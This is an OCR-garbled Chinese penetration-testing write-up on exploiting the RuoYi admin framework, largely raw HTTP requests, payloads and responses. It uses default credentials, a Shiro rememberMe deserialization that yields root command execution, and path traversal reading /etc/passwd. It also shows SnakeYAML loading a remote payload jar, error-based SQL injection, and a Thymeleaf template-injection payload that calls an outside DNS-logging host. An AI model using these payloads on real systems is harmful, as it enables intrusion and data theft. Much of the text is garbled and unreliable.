RN E: X Ruoyi BHIRFZ
BB 25

TOOIs 1. &FH MK ¥ & B &M IA 0=
admin/admin123 T #; (135.78 KB) BI K &
nbsp;11:262 . RuoYi <= v4.3.0 , 7 &

Apache Shiro BA Key, PISEXEIIM,

1. HEFEEIAOSL admin/admint
23

< C 0 AFR2| 2 % Ot
RuoYi =
L admin BR
d’ o
=1 https: .aliyun.com/minisite/goods?userCode=brkigiof
o REE https://cloud.tencent.com/redirect.php?redirect=1025&cps_key=198c8df2ed259157187173bc7f4{32fd&fror
e SERHE - o S -
EZERBEMALE, ISNENSREERER. (WRHAF)
o PN o
e Hello,Guest EREEEIRER
BANRESIEEREL T 4 —BERENEAEERS, B RSNAIFFRERRESLNES
EEkER EECH. TEARSHKSREFECS—EEaF%. titaT

m EIREEFRG, |, WEILUBTHTERIWeb/ R i g

PIIERSEH, CMS, CRM, OAE, MK, thal L RtHHTRE

.-n TS, DMHERERG, FrasinaaRBaslEHoiBenlcs
S & e S GSTEATH

2. RuoYi <=v4.3.0, 1 Apache Sh
iro BKiA Key, AISBRFIIK.

AI{EA https://github.com/jlanFen/shiro_attack FIFET
BT

S R e e A LiqunIEf#-15 -
#EOA Sk | | rememl berMe TAHF v AES-GCMEIR
ZROA
FPOA /5.0 (Windows NT 10.0; Win6d; x64) Apple\WebKit/537 36 (KHTML, like Gecke) Chrome/87.0.4280.88 Safari/537.36
EEoA



https://github.com/j1anFen/shiro_attack

Lonnecnion: aose

*  NLINA11A11520 >

#AEOA Content-Type: application/x-www-form-urlencoded
n Content-Length: 0
Struts2 REGadgeyEchaType/iey:  Z
ThinkPHP
PURE(E:  Linuxi®Shell
shira
PRSI @SNE: | whoami
A
FARR
[ - | EEER JreBu20:TomeatEcho RIMGEES
[++] : - h
[ ++ | e : ils1 -

[- | BUTES: whoami

[ -] 7B Key: Z3VUowAAAAALAAAAAARARL= =
[ - | HBAIMEE: CommonsBeanutilsl

[ - | EREZRSE: TomcatEcho

[ ++ 1 hiTset

root
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https://xxx.com/common/download/resource?
resource=/profile/../../../../etc/passwd

Request

ty  Raw  Hex B v =

1 GET /common/download/resource?resource=
/profile/../../../../etc/passwd HTTP/1.1

2 Host:

3 Accept-Encoding: gzip, deflate

4 Cookie: JSESSIONID=03750197-7c13-44b9-92ad-2c64hcae95el

5 Accept: */*

6 Accept-Language: en-US;q=0.9, en;q=0.8

7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/103. 0. 5060. 134 Safari/537.36

e

Response

Pretty  Raw  Hex

1 HTTP/1.1 200

2 Server: nginx/I.18.0

3 Date: Sun, 07 Aug 2022 07:09:01 GMT

1 Content-Type: multipart/form-data;charset=utf-8
5 Content-Length: 2850

6 Connection: close

7 Content-Disposition: attachment;fileName=passwd
8

9 root:x:0:0:root:/root : /bin/bash
bin:/bin:/shin/nologin

8 Connection: close
9 Cache-Control : max-age=0

:2:daemon:/shin:/shin/nologin
:adm:/var/adm:/shin/nologin
:1p:/var/spool/lpd:/shin/nologin
nc:/shin:/bin/sync
0:shutdown:/sbin:/sbin/shutdown
1t:/sbin:/shin/halt
:mail:/var/spool/mail:/sbin/nologin
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(1) & &L https://github.com/artsploit/yaml-payload

(2) ﬁﬁ;ﬁ src\artsploit\AwesomeScriptEngineFactory.java E@

Runtime.getRuntime().exec("dig

. .. . . o
whoami.uiziuoiaf8123.ceye.io") ng}o

(3) #ITHIE:

src/artsploit/AwesomeScriptEngineFactory. java

javac

(4) HITITEL: jar -cvf yaml-payload.jar -C src/

(6) EE—EIINMARSEE, IBITEERY yani-payload.jar X5
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org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineM

anager [!!java.net.URLClassLoader [[!!java.net.URL

["http://xxx.xxx.xXX.xxx/yaml-payload.jar"1]11")

(7) %45 DNS &K

Records / DNS Query

@ The record is only saved for 6 hours and only the last 100 items are displayed.
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D Name. Remote Addr Created At (UTC+0)
743020431 2022-08-07 06:10:18

743020420 202208009 06}{9; f&
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POST /system/role/list HTTP/1.1

Host: xxx.com

Cookie: JSESSIONID=03750197-7c13-44b9-92ad-2c64bcae95el
Sec-Ch-Ua: "Chromium";v="103", ".Not/A)Brand";v="99"
Sec-Ch-Ua-Mobile: 70

Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wino4; x64)
AppleWebKit/537.36 (KHTML, 1like Gecko)
Chrome/103.0.5060.134 Safari/537.36

Accept:
text/html,application/xhtml+xml,application/xml;qg=0.9,1
mage/avif,image/webp,image/apng,*/*;gq=0.8,application/s
igned-exchange;v=b3;q=0.9

Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: navigate

Sec-Fetch-Dest: iframe

Referer: https://xxx.com/index

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded;
Accent-l anauaae: 7h-CN_7h:a=0 9
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Connection: close
Content-Length: 196

pageSize=&pageNum=&orderByColumn=&isAsc=&roleName=&role
Key=&status=fms[beginTime]=fms[endTime]=ms[dataScope]=
and

extractvalue(l, concat(@x7e,substring((select
database()),1,32),0x7¢e))

Request Response
Raw  Hex wo= Pretty  Raw  Hex

1 POST /system/role/list HTTP/1.1 1 HTTP/1.1 200

2 Host: 2 Server: nginx/l.18.0

3 Cookie: JSESSIONID=03750197-7c13-44b9-92ad-2c64bcae95el 3 Date: Sun, 07 Aug 2022 08:33:33 GMT

4 Sec~Ch-Ua: “Chromium”;v="103", ”.Not/A)Brand”;v="99" 4 Content-Type: application/json;charset=UTF-8

5 Sec—Ch-Ua-Mobile: 20 5 Connection: close

6 Sec-Ch-Ua-Platform: “Windows” 6 Content-Length: 1127

7 Upgrade-Insecure-Requests: 1 7

3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) 8 {
AppleWebKit/537.36 (KHTML, like Gecko) “msg”:
Chrome/103. 0.5060. 134 Safari/537.36 L Error querying database. Cause: jav

9 Accept: error: ' “date”’ |n#£% The error may exist in URL [jar:
text/html, application/xhtml+xml, application/xml;q=0.9, ima 5.5/webapps/ROOT/WEB-INF/1ib/pay-system—4. 3. 1. jar!/map
ge/avif, image/webp, image/apng, */*;q=0. 8, application/signe #% The error may involve com.pay.system. mapper.SysRole
d-exchange;v=b3;q=0.9 £ The error occurred while setting parameters\n### SQL

0 Sec—Fetch-Site: same-origin ole_name, r.role_key, r.role_sort, r.data_scope,

1 Sec-Fetch-Mode: navigate reate_time, r.remark from sys_role'r

2 Sec-Fetch-Dest: iframe r.role id = r.role id left join svs user u on

7. swagger—ui.html #0314

https:

8. Thymeleaf JEANBIKIBIHIT

http://demo.ruoyi.vip/monitor/cache/getNames
http://demo.ruoyi.vip/monitor/cache/getKeys
http://demo.ruoyi.vip/monitor/cache/getValue

http://demo.ruoyi.vip/demo/form/localrefresh/task

POST /monitor/cache/getNames?

fragment=header (%24%7b%54%20%28%60%61%76%61%2e%6C%61%0e
%67%2e%52%75%0e%74%69%06d%065%29%2e%067%05%74%52%7 5%6€%74%
69%6d%65%28%29%2e%65%7 8%65%63%28%2 2%63%75%7 2%6C%20%68%7
4%74%70%30%21%21%31%31%31%2e%63%064%73%61%32%76%72%31%61
%73%6d%2e%63%65%79%65%2e%69%6 %2 %7 2%7 5%6f%79%069%74%65%
73%74%22%29%7d) HTTP/1.1

Host: xxx.com

Accept-Encoding: gzip, deflate

Accept: */*

Cookie: JSESSIONID=03750197-7c13-44b9-92ad-2c64bcae95el
Accept-Language: en-US;g=0.9,en;q=0.8

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/103.0.50600.134 Safari/537.36



Content-Type: application/x-www-form-urlencoded;
Connection: close
Cache-Control: max-age=0



